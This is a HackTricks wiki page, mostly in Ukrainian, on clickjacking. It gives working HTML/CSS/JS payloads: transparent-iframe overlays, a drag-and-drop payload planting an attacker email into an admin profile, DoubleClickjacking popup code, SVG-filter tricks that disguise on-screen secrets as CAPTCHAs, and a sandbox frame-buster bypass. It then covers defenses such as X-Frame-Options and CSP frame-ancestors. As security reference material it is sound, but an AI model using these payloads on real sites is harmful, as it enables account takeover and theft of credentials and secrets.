Clickjacking

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке Clickjacking

У clickjacking-атаку користувача обманюють, змушуючи натиснути на елемент на веб-сторінці, який є невидимим або замаскований під інший елемент. Така маніпуляція може призвести до небажаних наслідків для користувача, наприклад завантаження malware, перенаправлення на шкідливі веб‑сторінки, передача облікових даних або конфіденційної інформації, перекази грошей або онлайн‑купівля товарів.

Трюк попереднього заповнення форм

Іноді можливо заповнити значення полів форми, використовуючи GET параметри при завантаженні сторінки. Атакуючий може зловживати цією поведінкою, щоб заповнити форму довільними даними і відправити clickjacking payload, щоб користувач натиснув кнопку Submit.

Заповнення форми через Drag&Drop

Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його ввести певну інформацію (наприклад електронну адресу або конкретний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop чогось, що запише керовані вами дані, як у цьому прикладі.

Базовий Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Багатокроковий Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Якщо ви виявили XSS attack that requires a user to click на якийсь елемент, щоб trigger XSS, і сторінка vulnerable to clickjacking, ви можете зловживати цим, щоб обманом змусити користувача натиснути кнопку/посилання.
Приклад:
Ви знайшли self XSS у деяких приватних даних акаунта (деталі, які тільки ви можете встановлювати і читати). Сторінка з form, щоб встановити ці дані, vulnerable до Clickjacking і ви можете prepopulate form за допомогою GET parameters.
Зловмисник може підготувати атаку Clickjacking на цю сторінку, prepopulating form з XSS payload і tricking user щоб Submit форму. Тому, коли форма буде submitted і значення змінені, user will execute the XSS.

DoubleClickjacking

По-перше explained in this post, ця техніка просить жертву двічі клікнути по кнопці на кастомній сторінці, розміщеній у певному місці, і використовує різницю в таймінгу між подіями mousedown та onclick, щоб під час double click підвантажити сторінку жертви так, що victim actually clicks a legit button in the victim page.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against Clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.

Деякі PoCs повністю відмовляються від iframes і тримають фоновий popup вирівняним під курсором. Сторінка атакуючого відслідковує mousemove і використовує маленький popup (window.open), який переміщується за допомогою moveTo() поки він є same-origin; коли вирівняно, він перенаправляється назад на target origin, щоб наступний клік потрапив по реальній кнопці. Оскільки cross‑origin moveTo() заблоковано, popup коротко навігується на attacker origin для перестановки, потім location/history.back() повертає його до target. Щоб показати ціль у момент кліку, атакуючий може повторно відкрити popup з тим же window name, щоб підняти його на передній план без зміни URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Сучасні збірки Chromium/WebKit/Gecko дозволяють застосовувати CSS filter:url(#id) до cross-origin iframes. Растеризовані пікселі iframe відкриті для графа SVG-фільтрів як SourceGraphic, тож примітиви, такі як feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology тощо, можуть довільно спотворювати victim UI до того, як користувач його побачить, навіть якщо attacker ніколи не торкається DOM. Простейший фільтр у стилі Liquid-Glass виглядає так:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Корисні примітиви: feImage завантажує зловмисницькі бітмапи (наприклад, overlays, displacement maps); feFlood створює однокольорові matte-маски; feOffset/feGaussianBlur уточнюють підсвітлення; feDisplacementMap заломлює/деформує текст; feComposite operator="arithmetic" реалізує довільну поканальну математику (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), чого достатньо для підвищення контрасту, маскування та операцій AND/OR; feTile обрізає й повторює піксельні зонди; feMorphology збільшує/зменшує штрихи; feColorMatrix переміщує luma в alpha для побудови точних масок.

Distorting secrets into CAPTCHA-style prompts

Якщо endpoint, що допускає фреймування, відображає секрети (tokens, reset codes, API keys), зловмисник може спотворити їх так, щоб вони нагадували CAPTCHA, і примусити до ручної транскрипції:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Спотворені пікселі вводять користувача в оману, змушуючи його «розгадувати» captcha всередині керованого атакуючим <input>, чиє pattern примушує ввести справжній секрет жертви.

Реконтекстуалізація введення жертви

Фільтри можуть хірургічно видаляти placeholder/validation текст, зберігаючи при цьому натискання клавіш користувача. Один варіант послідовності дій:

  1. feComposite operator="arithmetic" k2≈4 підсилює яскравість так, що сірий допоміжний текст насичується до білого.
  2. feTile обмежує робочу область прямокутником поля вводу.
  3. feMorphology operator="erode" загущує темні гліфи, набрані жертвою, і зберігає їх через result="thick".
  4. feFlood створює білу підкладку, feBlend mode="difference" із thick, а другий feComposite k2≈100 перетворює це на різку лумову маску.
  5. feColorMatrix переміщує ту луму в alpha, а feComposite in="SourceGraphic" operator="in" зберігає лише гліфи, введені користувачем.
  6. Ще один feBlend in2="white" плюс тонке обрізання дають чисте текстове поле, після чого атакуючий накладає власні HTML-мітки (наприклад, “Введіть свою електронну пошту”), при цьому прихований iframe усе ще застосовує політику паролів origin жертви.

Safari має проблеми з feTile; той самий ефект можна відтворити просторовими масками, побудованими з feFlood + feColorMatrix + feComposite для WebKit-only payloads.

Проби пікселів, логіка та машини станів

Обрізаючи регіон розміром 2–4 px за допомогою feTile і масштабуючи його на 100% вікна перегляду, атакуючий перетворює вибірку кольору в текстуру на повний кадр, яку можна застосувати порогову обробку для отримання булевої маски:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Для довільних кольорів посилання feFlood (наприклад, #0B57D0) плюс feBlend mode="difference" і ще один арифметичний composite (k2≈100, k4 як допуск) видає білий тільки коли відбраний піксель збігається з цільовим відтінком. Подача цих масок у feComposite з налаштованими k1..k4 дає логічні вентилі: AND через k1=1, OR через k2=k3=1, XOR через feBlend mode="difference", NOT через змішування з білим. Послідовне з’єднання вентилів утворює повний суматор всередині графа фільтра, що доводить, що конвеєр є функціонально повним.

Отже, нападники можуть зчитувати стан UI без JavaScript. Приклади булевих значень із модального робочого процесу:

  • D (діалог видимий): опитати затемнений кут і порівняти з білим.
  • L (діалог завантажено): опитати координати, де з’явиться кнопка після готовності.
  • C (чекбокс позначено): порівняти піксель чекбокса з активним синім #0B57D0.
  • R (червоний банер успіху/невдачі): використати feMorphology та пороги для червоного всередині прямокутника банера.

Кожний виявлений стан керує показом різної накладної бітмапи, вбудованої через feImage xlink:href="data:...". Маскування цих бітмап за допомогою D, L, C, R синхронізує накладки з реальним діалогом і проводить жертву через багатокрокові робочі процеси (скидання пароля, затвердження, підтвердження руйнівних дій) не відкриваючи DOM.

Sandboxed iframe Basic Auth діалог (no allow-popups)

A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Як тільки відповідь надходить, браузер просить облікові дані, навіть якщо спливаючі вікна заборонені. Вбудування довіреного origin цим трюком дає змогу здійснювати UI redress/phishing: несподівані модальні запити всередині “sandboxed” віджета можуть збивати з пантелику користувачів або змушувати менеджери паролів запропонувати збережені облікові дані.

Розширення браузера: DOM-based autofill clickjacking

Окрім вбудовування сторінок жертви у iframe, зловмисники можуть націлюватися на UI-елементи розширень браузера, які інжектуються в сторінку. Менеджери паролів рендерять автозаповнювані випадаючі списки поруч зі сфокусованими полями вводу; сфокусувавши кероване зловмисником поле й приховавши/заоключивши випадачку розширення (трюки з opacity/overlay/верхнім шаром), примусове натискання користувача може вибрати збережений елемент і заповнити конфіденційні дані в полях, контрольованих атакуючим. Цей варіант не вимагає експозиції через iframe і працює виключно шляхом маніпуляцій DOM/CSS.

Реальний випадок: Dashlane розкрив проблему clickjacking у діалозі passkey (Aug 2025), коли XSS на домені relying-party дозволяв зловмисникові нашаровувати HTML поверх діалогу passkey розширення. Клік по елементу атакуючого ініціював легітимний вхід через passkey (сам passkey не розкривався), фактично перетворюючи UI-redress на доступ до облікового запису, якщо RP вже вразливий до інжекції скриптів.

Стратегії запобігання Clickjacking

Захист на стороні клієнта

Скрипти, що виконуються на боці клієнта, можуть виконувати дії для запобігання Clickjacking:

  • Переконатися, що вікно застосунку є основним або верхнім вікном.
  • Робити всі фрейми видимими.
  • Запобігати клікам по невидимих фреймах.
  • Виявляти та попереджати користувачів про потенційні спроби Clickjacking.

Однак ці скрипти для руйнування фреймів можуть бути обійдені:

  • Налаштування безпеки браузера: Деякі браузери можуть блокувати ці скрипти залежно від своїх налаштувань безпеки або через відсутність підтримки JavaScript.
  • HTML5 iframe sandbox Attribute: Зловмисник може нейтралізувати frame buster скрипти, встановивши атрибут sandbox зі значеннями allow-forms або allow-scripts без allow-top-navigation. Це заважає iframe перевірити, чи є він верхнім вікном, наприклад,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

allow-forms і allow-scripts значення дозволяють виконувати дії всередині iframe, одночасно відключаючи навігацію верхнього рівня. Щоб забезпечити потрібну функціональність цільового сайту, залежно від типу атаки можуть знадобитися додаткові дозволи, наприклад allow-same-origin і allow-modals. Повідомлення в консолі браузера можуть підказати, які дозволи слід дозволити.

Захист на стороні сервера

X-Frame-Options

X-Frame-Options HTTP response header інформує браузери про допустимість рендерингу сторінки в <frame> або <iframe>, допомагаючи запобігти Clickjacking:

  • X-Frame-Options: deny - Жоден домен не може фреймити вміст.
  • X-Frame-Options: sameorigin - Лише поточний сайт може фреймити вміст.
  • X-Frame-Options: allow-from https://trusted.com - Лише вказаний ‘uri’ може фреймити сторінку.
  • Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві frame-ancestors у CSP.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors директива в CSP — рекомендований метод захисту від Clickjacking:

  • frame-ancestors 'none' - Схоже на X-Frame-Options: deny.
  • frame-ancestors 'self' - Схоже на X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Схоже на X-Frame-Options: allow-from.

Наприклад, наступна CSP дозволяє фрейминг лише з того ж домену:

Content-Security-Policy: frame-ancestors 'self';

Детальнішу інформацію та складніші приклади можна знайти в frame-ancestors CSP documentation та в Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) — це міра безпеки, яка допомагає запобігати Clickjacking та іншим атакам типу ін’єкції коду, визначаючи, з яких джерел браузер має дозволяти завантажувати вміст.

frame-src Directive

  • Визначає допустимі джерела для фреймів.
  • Більш специфічна, ніж директива default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми з того ж походження (self) та https://trusted-website.com.

child-src Директива

  • Введено в CSP рівня 2 для визначення допустимих джерел для веб-воркерів та фреймів.
  • Діє як запасний варіант для frame-src та worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми та воркери з того ж джерела (self) та https://trusted-website.com.

Примітки щодо використання:

  • Депрекація: child-src поступово відходить на користь frame-src та worker-src.
  • Резервна поведінка: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
  • Суворе визначення джерел: Включайте лише довірені джерела в директиви, щоб запобігти експлуатації.

Скрипти розриву фрейму на JavaScript

Хоча це не є повністю надійним, скрипти розриву фрейму на основі JavaScript можна використовувати, щоб запобігти вкладенню веб-сторінки у фрейм. Приклад:

if (top !== self) {
top.location = self.location
}

Використання Anti-CSRF Tokens

  • Перевірка токена: Використовуйте anti-CSRF tokens у веб-застосунках, щоб переконатися, що запити, які змінюють стан, здійснені навмисно користувачем, а не через Clickjacked сторінку.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks